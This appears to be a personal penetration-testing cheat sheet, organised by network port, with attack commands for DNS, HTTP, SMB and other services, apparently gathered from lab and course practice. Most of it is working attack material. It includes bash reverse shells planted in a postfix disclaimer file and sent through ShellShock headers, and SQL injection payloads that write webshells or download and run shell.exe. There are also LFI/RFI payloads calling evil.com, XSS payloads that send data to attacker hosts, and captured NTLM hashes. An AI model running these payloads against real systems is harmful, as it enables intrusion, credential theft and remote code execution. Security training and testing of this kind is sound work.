<syntaxhighlight lang="bash">
# https://www.howtoforge.com/how-to-automatically-add-a-disclaimer-to-outgoing-emails-with-altermime-postfix-on-debian-squeeze
# If user is member of the group filter and the file /etc/postfix/disclaimer is present, we can probably escalate our privileges. We need to be able to write to disclaimer. By adding a reverse shell in the disclaimer file, and sending a mail using SMTP we can get a reverse shell. The disclaimer will be sent with the mail and our code will be executed.
# 1. Add BASH TCP to disclaimer
/etc/postfix$ cat disclaimer
#!/bin/bash
bash -i >& /dev/tcp/192.168.49.196/4444 0>&1
# 2. Send mail to any user
# 3. Receive a connection to our netcat listener.
</syntaxhighlight>

----

== 53 - DNS ==

=== Banner grabbing ===

<syntaxhighlight lang="bash">
dig version.bind CHAOS TXT @DNS
</syntaxhighlight>

=== Enumerate DNS info ===

<syntaxhighlight lang="bash">
dnsenum
dnsrecon -d
</syntaxhighlight>

=== Subdomains bruteforce ===

<syntaxhighlight lang="bash">
dnsrecon -D subdomains-1000.txt -d -n
dnscan -d -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan
aiodnsbrute -w wordlist.txt -vv -t 1024 domain.com
</syntaxhighlight>

=== Zone transfer ===

<syntaxhighlight lang="bash">
dig axfr @ #Try zone transfer without domain
dig axfr @ #Try zone transfer guessing the domain
dnsrecon -d -a
</syntaxhighlight>

----

== 69 (UDP) - TFPT ==

<syntaxhighlight lang="bash">
# Filename containing spaces fix:
# kali-tftp fails when filename contains spaces.
# Install
sudo apt install -y tftp-hpa
# Commands
tftp [-v] -m binary IP -c get '\Windows\system.ini' system.ini
# \Windows\System32\Drivers\etc\hosts
</syntaxhighlight>

----

== 79 - FINGER ==

----

== 80, 443 - HTTP/HTTPS ==

=== Apache HTTP basic auth - Change password using htpasswd ===

<syntaxhighlight lang="bash">
htpasswd username
# Can also change passwd for webda users with same command
# Example
htpasswd /var/www/web1/passwd.dav test
</syntaxhighlight>

=== Burp Suite ===

When adding custom header, always remember to have two or three new-lines after the header, otherwise the site wont respond.

==== Add custom header permanent (Request and Response) ====

[[File:2022-08-image-2.png|thumb]]

[[File:2022-08-image.png|thumb]]

[[File:2022-08-image-1.png|thumb]]

=== Client Fingerprinting ===

From PWK 13.1.4

<syntaxhighlight lang="bash">
# https://github.com/fingerprintjs/fingerprintjs
cd /var/www/html/ && sudo wget https://github.com/fingerprintjs/fingerprintjs/archive/2.1.4.zip && sudo unzip 2.1.4.zip && sudo mv fingerprintjs-2.1.4/ fp/ && cd fp
# Then use whatever text editor you want to create an fingerprint2.html (sudo nano fingerprint2.html) file add the following code to it. This is the same code as in the example but it's "prettified" from within VS Code.
## YOU MIGHT GET ERROR THAT fingerprint2.js IS NOT DEFINED. Move fingerprint2.js from fp folder to /var/www/html.

Fingerprintjs2 test

Fingerprintjs2
Your browser fingerprint:

var d1 = new Date();
var options = {};
Fingerprint2.get(options, function (components) {
var values = components.map(function (component) {
return component.value;
});
var murmur = Fingerprint2.x64hash128(values.join(""), 31);
var d2 = new Date();
var timeString =
"Time to calculate the fingerprint: " + (d2 - d1) + "ms";
var details = "Detailed information: ";
if (typeof window.console !== "undefined") {
for (var index in components) {
var obj = components[index];
var value = obj.value;
if (value !== null) {
var line = obj.key + " = " + value.toString().substr(0, 150);
details += line + "";
}
}
}
document.querySelector("#details").innerHTML = details;
document.querySelector("#fp").textContent = murmur;
document.querySelector("#time").textContent = timeString;
});

# Then use a web server of your choice. If you use another web server as described elsewhere in this course, just be aware of where you execute it. Apache defaults to /var/www/html/ while others may be dependant on where you start them. I saw some chatter about Apache not working, however it does for me:

sudo systemctl start apache2
# Now visit localhost or IP of server
</syntaxhighlight>

[[File:2022-10-image.png|thumb]]

=== Command injection ===

<syntaxhighlight lang="bash">
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md#bypass-with-backslash-and-slash
Filter Bypasses
Bypass without space
Bypass with a line return
Bypass with backslash newline
Bypass characters filter via hex encoding
Bypass blacklisted words
Bypass with single quote
Bypass with double quote
Bypass with backslash and slash
Bypass with $@
Bypass with $()
Bypass with variable expansion
Bypass with wildcards
</syntaxhighlight>

=== Directory brute force ===

Try different tools! Sometimes different tools give different results. See Robust box notes for more info.

==== Feroxbuster ====

<syntaxhighlight lang="bash">
# --threads 1; max 1 thread; -f appends slash (/); --status-codes; only show 200, -L 3; Limit total number of concurrent scans, --auto-tune; Automatically lower scan rate when an excessive amount of errors are encountered, --depth 3; Maximum recursion depth, a depth of 0 is infinite recursion
feroxbuster --url https://URL --threads 1 -f -x php,html,txt,sh --status-codes 200 -o ferox.result3 -L 3 --auto-tune --depth 3 -x txt bak sql sh asp aspx php json conf htaccess config jar db html
</syntaxhighlight>

==== Gobuster ====

<syntaxhighlight lang="bash">
gobuster dir -u https://URL -w /usr/share/wordlist/dirb/big.txt [-x FILE EXTENSION]
</syntaxhighlight>

==== ffuf ====

<syntaxhighlight lang="bash">
ffuf -w /path/to/wordlist -u https://target/FUZZ
</syntaxhighlight>

==== wfuzz ====

<syntaxhighlight lang="bash">
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -u http://192.168.153.200/FUZZ -H "X-Forwarded-For: 10.10.10.150" --hc 404
</syntaxhighlight>

=== .htaccess change to allow upload php ===

<syntaxhighlight lang="bash">
cat .htaccess
AddType application/x-httpd-php .evil
</syntaxhighlight>

=== File upload ===

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/README.md PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThings · GitHub]

==== File upload MindMap ====

[[File:2023-06-file-upload-mindmap-1.png|thumb]]

==== Extension ====

[https://book.hacktricks.xyz/pentesting-web/file-upload https://book.hacktricks.xyz/pentesting-web/file-upload]

<syntaxhighlight lang="bash">
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
</syntaxhighlight>

==== HTTP PUT ====

<syntaxhighlight lang="bash">
curl -X PUT http:/// -d @ -v
</syntaxhighlight>

==== Web.config ====

[https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/ Source]

<syntaxhighlight lang="xml">
# Web.cofig file with ASP code at the bottom. Modify at will.

-->
</syntaxhighlight>

=== Local File Incusion (LFI) / Remote File Inclusion (RFI) ===

==== Log Poising ====

<syntaxhighlight lang="bash">
# First identify what logs you have access to. Then inject php payload to the access log.
# For example: Apache2 /var/log/apache2/access.log.
# Or: vsftpd /var/log/vsftpd.log
nc -nv 10.11.0.22 80
(UNKNOWN) [10.11.0.22] 80 (http) open
' . shell_exec($_GET['cmd']) . '';?>
# You should now see that request in the access log (Or other logs you, like /var/log/vsftpd.log if its a FTP server.
curl http://10.10.10.10/site.php?file=/var/log/apache2/access.log&cmd=whoami
</syntaxhighlight>

==== LFI ====

<syntaxhighlight lang="bash">
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
# Basic LFI
http://example.com/index.php?page=../../../etc/passwd
# Null byte
## In versions of PHP below 5.3.4 we can terminate with null byte.
http://example.com/index.php?page=../../../etc/passwd%00
# Double encoding
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
# UTF-8 encoding
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
# Path and dot truncation
## On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
# Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
# PHP header file (Windows)

# PHP header file (Linux)
</syntaxhighlight>

==== LFI list ====

<syntaxhighlight lang="bash">
# Linux
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
# Windows
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt
https://gist.github.com/korrosivesec/a339e376bae22fcfb7f858426094661e
# Both
/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt
</syntaxhighlight>

==== RFI ====

If webserver dosent execute RFI, see PHP shell_exec further down.

<syntaxhighlight lang="bash">
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
# Basic RFI
http://example.com/index.php?page=http://evil.com/shell.txt
# Null byte
http://example.com/index.php?page=http://evil.com/shell.txt%00
# Double encoding
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
# Bypass allow_url_include
# When allow_url_include and allow_url_fopen are set to Off. It is still possible to include a remote file on Windows box using the smb protocol.
# 1. Create a share open to everyone
# 2. Write a PHP code inside a file : shell.php
# 3. Include it http://example.com/index.php?page=\\10.0.0.1\share\shell.php
</syntaxhighlight>

==== PHP Wrappers ====

<syntaxhighlight lang="bash">
# PHP provides several protocol wrappers that we can use to exploit directory traversal and local file inclusion vulnerabilities.
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#lfi--rfi-using-wrappers
# Example
http://10.10.10.10/test.php?file=data:text/plain,hello world
# Example 2
http://10.10.10.10/test.php?file=data:text/plain,
</syntaxhighlight>

=== Scanners ===

<syntaxhighlight lang="bash">
# nikto
nitko -h > output.txt
# crawleet
python crawleet.py -u -b -d 3 -e jpg,png,css -f -m -s -x php,txt -y --threads 20
</syntaxhighlight>

=== SQL injection ===

==== Cheatsheet and good articles ====

[https://www.tarlogic.com/en/blog/red-team-tales-0x01/ https://www.tarlogic.com/en/blog/red-team-tales-0x01/]

[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection] (Click on the SQL server that is used)

[https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection]

[https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver]

See notes for 10.11.1.229

==== Theory ====

<syntaxhighlight lang="bash">
Databases --> Tables --> Column_names
# Queries
# Show all tables in database information_schema
table_name FROM information_schema.tables
# use information_schema, show all column_name from table wp_users
column_name FROM information_schema.columns WHERE table_name='wp_users'
# Show all information in user_login column from table wp_users
user_login FROM wp_users
</syntaxhighlight>

==== Authentication Bypass ====

<syntaxhighlight lang="bash">
# Show me all columns and rows for users with a name of User1 or where one equals one. Since 1=1 condition is always true, all rows will be returned.
'user1' or 1=1
# If error encountered we can instruct the query to return a fixed number of records with the LIMIT statement
'user1' or 1=1 LIMIT1;#

' or 1=1; -- -
</syntaxhighlight>

==== Basic SQL Injection ====

<syntaxhighlight lang="bash">
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
https://blog.aghanim.net/?p=1203
# ENTRY POINT DETECTION
## Detection of an SQL injection entry point Simple characters
'
%27
"
%22
#
%23
;
%3B
)
Wildcard (*)
' # required for XML content
## Multiple encoding
%%2727
%25%27
## Merging characters
`+HERP
'||'DERP
'+'herp
' 'DERP
'%20'HERP
'%2B'HERP
## Logic Testing
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
</syntaxhighlight>

==== Enumerate Database ====

<syntaxhighlight lang="bash">
# Use 'order by' clause to tell the database to sort the results of the query by the values in one or more columns. Increment value by 1 until error.
# If error out on 4, that means that there are 3 columns.
?id=1 order by 1
# UNION statement allow us to add a second select statement to the orignal query. SEE PIC BELOW
http://localhost/debug.php?id=1 union all select 1, 2, 3
# Only two columns are displayed, 2 and 3. So if we have a column named username and passord from table users, we can write it like this to display conent of username and password
?id=1 union all select 1, username, password from users
# MariaDB version
?id=1 union all select 1, 2, @@version
# Database user
?id=1 union all select 1, 2, user()
# Enumerate database tables and column structures through 'information_schema'
?id=1 union all select 1, 2, table_name from information_schema.tables
?id=1 union all select 1, 2, column_name from information_schema.columns where table_name='users'
?id=1 union all select 1, username, password from users
</syntaxhighlight>

[[File:2022-09-image-2.png|thumb]]

==== SQLmap ====

<syntaxhighlight lang="bash">
# Basic arguments for SQLmap
sqlmap --url="" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
# Load a request file and use mobile user-agent
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1
# Custom injection in UserAgent/Header/Referer/Cookie
python sqlmap.py -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*"
## The injection is located at the '*'
# SHELL
## SQL Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell
## Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
## Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
## SSH Shell by dropping an SSH key
python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
# Crawl a website with SQLmap and auto-exploit
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
# Using TOR with SQLmap
sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5
# Using a proxy with SQLmap
sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"
# Using Chrome cookie and a Proxy
sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080" -f --time-sec 15 --level 3
# Using suffix to tamper the injection
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
# General tamper option and tamper's list
tamper=name_of_the_tamper
# SQLMap supports a `--test-filter` flag. This flag tells SQLMap to test for payloads that match a specific pattern.
https://twitter.com/kuldeepdotexe/status/1687897180953034754
sqlmap -u https://lab_host/filter\?category\=Food+%26+Drink -p category --test-filter="Generic UNION query (NULL)"
</syntaxhighlight>

==== Union based sqli ====

<syntaxhighlight lang="bash">
# Enumerate column
# Add ,NULL until no more erros. Thats how many column there is.
# To determin where there is data, remove one NULL and add random data. If no error, then there is data there.
' UNION SELECT NULL--
' UNION SELECT NULL,NULL,NULL FROM DUAL--
' UNION SELECT table_name,NULL,NULL FROM all_tables--
' UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name='WEB_ADMINS'--
Blog entry from ADMIN_NAME with title null from 0
Blog entry from PASSWORD with title null from 0
' UNION SELECT ADMIN_NAME,PASSWORD,NULL FROM WEB_ADMINS--
' UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name='WEB_USERS'--
Blog entry from PASSWORD with title null from 0
Blog entry from USER_ID with title null from 0
Blog entry from USER_NAME with title null from 0
' UNION SELECT USER_NAME,NULL,NULL FROM WEB_USERS--
Blog entry from alice with title null from 0
Blog entry from eric with title null from 0
Blog entry from maria with title null from 0
' UNION SELECT PASSWORD,NULL,NULL FROM WEB_USERS--
Blog entry from bobismyuncle with title null from 0
Blog entry from letmein with title null from 0
Blog entry from thisismypassword with title null from 0
</syntaxhighlight>

==== Usuful commands (Upload shells) ====

<syntaxhighlight lang="sql">
# Test SQLI with sleep
# Double hyphen is used to out-comment rest of the query
' UNION SELECT sleep(5); -- -
# Write a webshell
UNION SELECT "" into outfile "C:\\xampp\\htdocs\\backdoor.php"
UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY ''
' UNION SELECT (" into OUTFILE 'c:/xampp/htdocs/backdoor.php'
# Code execution
?id=1 union all select 1, 2, load_file('C:/Windows/win.ini')
# Mssql download shell, output it, and execute it
';EXEC xp_cmdshell 'certutil -urlcache -split -f "http://192.168.119.176/shell.exe" C:\windows\temp\shell.exe&& cmd.exe /c C:\windows\temp\shell.exe
# XP_dirtree - Remember to start responder or impacket-smbserver
1'; use master; exec xp_dirtree '\\192.168.119.176\SHARE';--
</syntaxhighlight>

=== SSRF ===

==== Capture hash ====

<syntaxhighlight lang="bash">
# Example from PG Heist
# On target website
http://heist.offsec:8080/?url=http://192.168.49.247:80
# On attacker
┌──(root💀kali)-[/home/aghanim/Desktop/PG/heist]
└─# responder -I tun0
[+] Listening for events...
[HTTP] NTLMv2 Client : ::ffff:192.168.247.165
[HTTP] NTLMv2 Username : HEIST\enox
[HTTP] NTLMv2 Hash : enox::HEIST:9d578233382be8e1:0CB1CB346E8C78CF508746D763D78FCB:010100[...]
# Hash format
netntlmv2
</syntaxhighlight>

=== SSTI ===

[https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection SSTI (Server Side Template Injection) - HackTricks]

<syntaxhighlight lang="bash">
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell -e ENCODEDCOMMAND");
</syntaxhighlight>

=== XSS ===

[https://github.com/payloadbox/xss-payload-list/blob/master/README.md https://github.com/payloadbox/xss-payload-list/blob/master/README.md]

==== Blind XSS ====

'''USING GET REQUEST'''

Send this to the vulnernable form parameter

<syntaxhighlight lang="bash">
Feedback=">fetch('http://10.10.109.42:8080/flag.txt').then(response => response.text()).then(data => fetch('http://10.9.17.250/receive?data=' + encodeURIComponent(data)));
</syntaxhighlight>

Set up a listener, like python http server og netcat and wait for the connection.

<syntaxhighlight lang="bash">
nc -lvnp 80
listening on [any] 80 ...
connect to [10.9.17.250] from (UNKNOWN) [10.10.109.42] 44532
GET /receive?data=THM%7B83... HTTP/1.1
Host: 10.9.17.250
Connection: keep-alive
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.105 Safari/537.36
accept: */*
origin: http://127.0.0.1:8080
X-Simulate: 17bec089830b56b2980e5c97c46fe25147e09247
Referer: http://127.0.0.1:8080/
Accept-Encoding: gzip, deflate
</syntaxhighlight>

'''USING POST REQUEST'''

* '''Host the Script''': You need to have control over the server at [http://10.9.17.250 http://10.9.17.250] . On this server, you'll place your JavaScript code in a file, typically with a .js extension (even though you mentioned test.txt , it's more common to use .js for JavaScript files).

* '''Write the JavaScript Code''': The JavaScript code that fetches the content from [http://10.10.109.42:8080/flag.txt http://10.10.109.42:8080/flag.txt] and then sends it to your server needs to be written and saved in the file you're hosting (say script.js ).

Here's an example of what your JavaScript file ( script.js ) might contain:

<syntaxhighlight lang="markup">
fetch('http://10.10.109.42:8080/flag.txt')
.then(response => response.text())
.then(data => {
fetch('http://10.9.17.250/receive', { // Change the endpoint as needed
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `data=${encodeURIComponent(data)}`
});
});
</syntaxhighlight>

You can alos send this directly instead of hosting it:

<syntaxhighlight lang="markup">
Feedback=">fetch('/profile').then(response => response.json()).then(data => fetch('http://attacker-server.com', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(data)}));
</syntaxhighlight>

3. Inject the payload in the form

<syntaxhighlight lang="markup">
Feedback=">">
</syntaxhighlight>

4. Setup a receiver:

<syntaxhighlight lang="python">
from flask import Flask, request
app = Flask(__name__)
@app.route('/receive', methods=['POST'])
def receive_data():
data = request.get_json()
print(data)
return 'Data received', 200
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
</syntaxhighlight>

=== Bypass robots.txt "You are not a search engine. Permission denied." ===

<syntaxhighlight lang="bash">
Set User-Agent to "User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html)"
</syntaxhighlight>

=== ShellShock (CGI) ===

<syntaxhighlight lang="bash">
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" /cgi-bin/
</syntaxhighlight>

<syntaxhighlight lang="bash">
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.10.17/4444 0>&1' http://10.10.10.56/cgi-bin/
</syntaxhighlight>

=== CMS/Webservers ===

==== Apache James ====

<syntaxhighlight lang="bash">
# See writeup 10.11.1.72 PWK
# Apache James Server 2.3.2
https://www.exploit-db.com/exploits/50347
</syntaxhighlight>

==== Drupal ====

<syntaxhighlight lang="bash">
droopscan scan -u
</syntaxhighlight>

===== Username Enumeration =====

<syntaxhighlight lang="bash">
Register
In /user/register try to create a username, and if the name is already taken it will be notified
Register new password
If you request a new password for an exisiting username.
If you request a new password for a non-existent username:
Number of users enumeration
Accessing /user/ you can see the number of exisinting users.
- /user/4 -> Access denied (user exist)
- /user/5 -> Page not found (user dosent exist)
There are 4 existing users.
</syntaxhighlight>

===== Hidden pages enumeration =====

<syntaxhighlight lang="bash">
Fuzz /node/$ where $ is a number (from 1 to 500 for example).
You could find hidden pages (test, dev) which are not referenced by the search engine.
wfuzz -c -z range,1-500 -hc 404 /node/FUZZ
</syntaxhighlight>

==== FuelCMS ====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/47138
</syntaxhighlight>

==== Gitstack portal ====

<syntaxhighlight lang="bash">
# Go to gitstack portal
# Try default admin:admin
# Click on stack menu.
# Choose the command portal option.
# replace stack.php?cmd=hello
# with
# stack.php?cmd=hello;whoami
</syntaxhighlight>

==== IIS - Internet Information Services ====

==== Jenkins ====

===== Remote Code execution =====

<syntaxhighlight lang="bash">
# See writeup 10.5.5.25 PWK
Select New Item --> Freestyle project --> Choose build --> Windows batch command (Or Execute shell for Linux)
</syntaxhighlight>

==== Joomla ====

==== Ovidentia ====

<syntaxhighlight lang="bash">
See writeup 10.11.1.73 PWK
</syntaxhighlight>

==== Tiki wiki ====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/40053
</syntaxhighlight>

==== PHPLiteAdmin ====

<syntaxhighlight lang="bash">
# See writeup 10.11.1.116 PWK
# PHPLiteAdmin 1.9.3
# https://www.exploit-db.com/exploits/24044
</syntaxhighlight>

==== Tomcat ====

==== werkzeug ====

==== WebDAV ====

<syntaxhighlight lang="bash">
davtest -url http://10.10.10.15
</syntaxhighlight>

===== Curl commands with webDAV =====

<syntaxhighlight lang="bash">
# Reading Files/Folders
curl 'http://example.com/webdav'
# Creating new Folder
curl -X MKCOL 'http://example.com/webdav/new_folder'
# Uploading File
curl -T '/path/to/local/file.txt' 'http://example.com/webdav/test/new_name.txt'
curl --upload-file http:///test/
curl -T 'cmdasp.aspx' 'http://192.168.89.122/cmd.aspx' --user fmcsorley:CrabSharkJellyfish192
# Renaming File
curl -X MOVE --header 'Destination:http://example.org/webdav/new.txt' 'http://example.com/webdav/old.txt'
# Deleting Files/Folders
# File:
curl -X DELETE 'http://example.com/webdav/test.txt'
# Folder:
curl -X DELETE 'http://example.com/webdav/test'
</syntaxhighlight>

==== Wordpress ====

<syntaxhighlight lang="bash">
wpscan --url
</syntaxhighlight>

===== Change user pass in Mysql =====

<syntaxhighlight lang="bash">
# Example 1
use wp_genesis;
SELECT ID, user_login, user_pass FROM wp_users;
UPDATE wp_users SET user_pass = MD5(‘WPEXPLORER’) WHERE ID=1 LIMIT 1;
# Example 2
select * from wp_users;
UPDATE `wp_users` SET `user_pass`= MD5('bypassed') WHERE
`user_login`='admin';
</syntaxhighlight>

===== Panel RCE =====

<syntaxhighlight lang="bash">
Edit the 404.php file in Wordpress dashobard. Appereance --> Editor --> 404 Template.
Add php-reverse-shell.php.
Visit http:///wp-content/themes/twentytwelve/404.php
</syntaxhighlight>

===== Plugin RCE =====

<syntaxhighlight lang="bash">
https://github.com/x3rz/malicious-wordpress-plugin
# Edit php reverse shell and add IP and port
# Go to Plugin -> Add new -> Upload plugin
# Upload the zip file
# Visit url http:///wp-content/plugins/MyPlugin/malplugin.php
</syntaxhighlight>

=== Webshell ===

==== PHP webshell, php code, php execution, php command ====

<syntaxhighlight lang="bash">

</syntaxhighlight>

=== WebApplication Firewall (WAF) ===

=== fireprox -Rotate source IP ===

<syntaxhighlight lang="bash">
# https://github.com/ustayready/fireprox

</syntaxhighlight>

==== Waf Bypass ====

<syntaxhighlight lang="bash">
https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c
See notes for XposedAPI. Add header to GET request in burp. (One of them) and see result.
X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1
</syntaxhighlight>

----

== 88 - KERBEROS ==

----

== 110 - POP3 ==

<syntaxhighlight lang="bash">
# Login
telnet 192.168.196.137 110
Trying 192.168.196.137...
Connected to 192.168.196.137.
Escape character is '^]'.
+OK Dovecot (Ubuntu) ready.
USER sales
+OK
PASS sales
+OK Logged in.
# List emails
list
# Read mail
RETR
</syntaxhighlight>

----

== 113 - ident ==

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/113-pentesting-ident
ident-user-enum 192.168.207.60 22 113 8080 10000
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
192.168.207.60:22 root
192.168.207.60:113 nobody
192.168.207.60:8080
192.168.207.60:10000 eleanor
</syntaxhighlight>

----

== 135, 593 - MS RPC ==

=== Enum with creds ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb/rpcclient-enumeration
# If you have access to rpcclient, you can enumerate target
# Users enumeration
List users: querydispinfo and enumdomusers
Get user details: queryuser
Get user groups: queryusergroups
GET SID of a user: lookupnames
Get users aliases: queryuseraliases [builtin|domain]
# Groups enumeration
List groups: enumdomgroups
Get group details: querygroup
Get group members: querygroupmem
Aliasgroups enumeration
List alias: enumalsgroups
Get members: queryaliasmem builtin|domain
# Domains enumeration
List domains: enumdomains
Get SID: lsaquery
Domain info: querydominfo
# Shares enumeration
Enumerate all available shares: netshareenumall
Info about a share: netsharegetinfo
# More SIDs
Find SIDs by name: lookupnames
Find more SIDs: lsaenumsid
RID cycling (check more SIDs): lookupsids
</syntaxhighlight>

=== Password Reset over RPC ===

<syntaxhighlight lang="bash">
# https://room362.com/post/2017/reset-ad-user-password-with-linux/
rpcclient $> setuserinfo2
rpcclient $> setuserinfo2 audit2020 23 'Password123!'
# One-liner
root@kali# rpcclient -U 'blackfield.local/support%#00^BlackKnight' 10.10.10.192 -c 'setuserinfo2 audit2020 23 "Password123!"'
</syntaxhighlight>

----

== 139, 445 - SMB/SAMBA ==

=== Brute force ===

<syntaxhighlight lang="bash">
crackmapexec smb -u -p
hydra -V -f -L -P smb:// -u -vV
</syntaxhighlight>

=== Capture hash using responder or smbserver ===

<syntaxhighlight lang="bash">
# On attacker start responder or smbserver.
responder -I attackerip
/usr/bin/impacket-smbserver share . -smb2support
# On target
dir \\attackerip\something
view=//attackerip/share
# Looking at the smbserver or responder you should have a NetNTLM hash. Copy all the text and use hashcat -m 5600 to crack it.
# Example
ted::EXAM:aaaaaaaaaaaaaaaa:a8ecd5aa9380ac8a4fbb1675b1ecaaaf:010100000000000000171a603bf4d801c188d310ceebaab30000000001001000680070006d00700048004d004600620003001000680070006d00700048004d00460062000200100075006d005200700049007400570058000400100075006d005200700049007400570058000700080000171a603bf4d8010600040002000000080030003000000000000000010000000020000096dbb345b8d0cc5a1bc8d14cd3277457913639d19c3307e6e04ee03bb7864ee20a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100310039002e003200330036000000000000000000
</syntaxhighlight>

=== Command Execution through smbmap ===

<syntaxhighlight lang="bash">
smbmap -u 'backup' -p 'backup' -H 10.11.1.227 -x "net user" --mode psexec
</syntaxhighlight>

=== Download files ===

<syntaxhighlight lang="bash">
#Download all
smbclient ///
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory

# Download all files from a directory recursively
smbclient /// -U -c "prompt OFF;recurse ON;mget *"
</syntaxhighlight>

=== EternalBlue ms17-010 ===

<syntaxhighlight lang="bash">
https://github.com/worawit/MS17-010/
https://github.com/helviojunior/MS17-010 # Modified version of worawits repo
# If windows xp, use send_and_execute.py
# Generate payload using msfvenom
python2 send_and_execute.py 10.10.10.10 shell.exe
</syntaxhighlight>

=== Enumerate samba version ===

[https://4pfsec.com/manually-enumerating-smb-version/ https://4pfsec.com/manually-enumerating-smb-version/]

<syntaxhighlight lang="bash">
# Run the below script while wireshark is listening
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 8 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
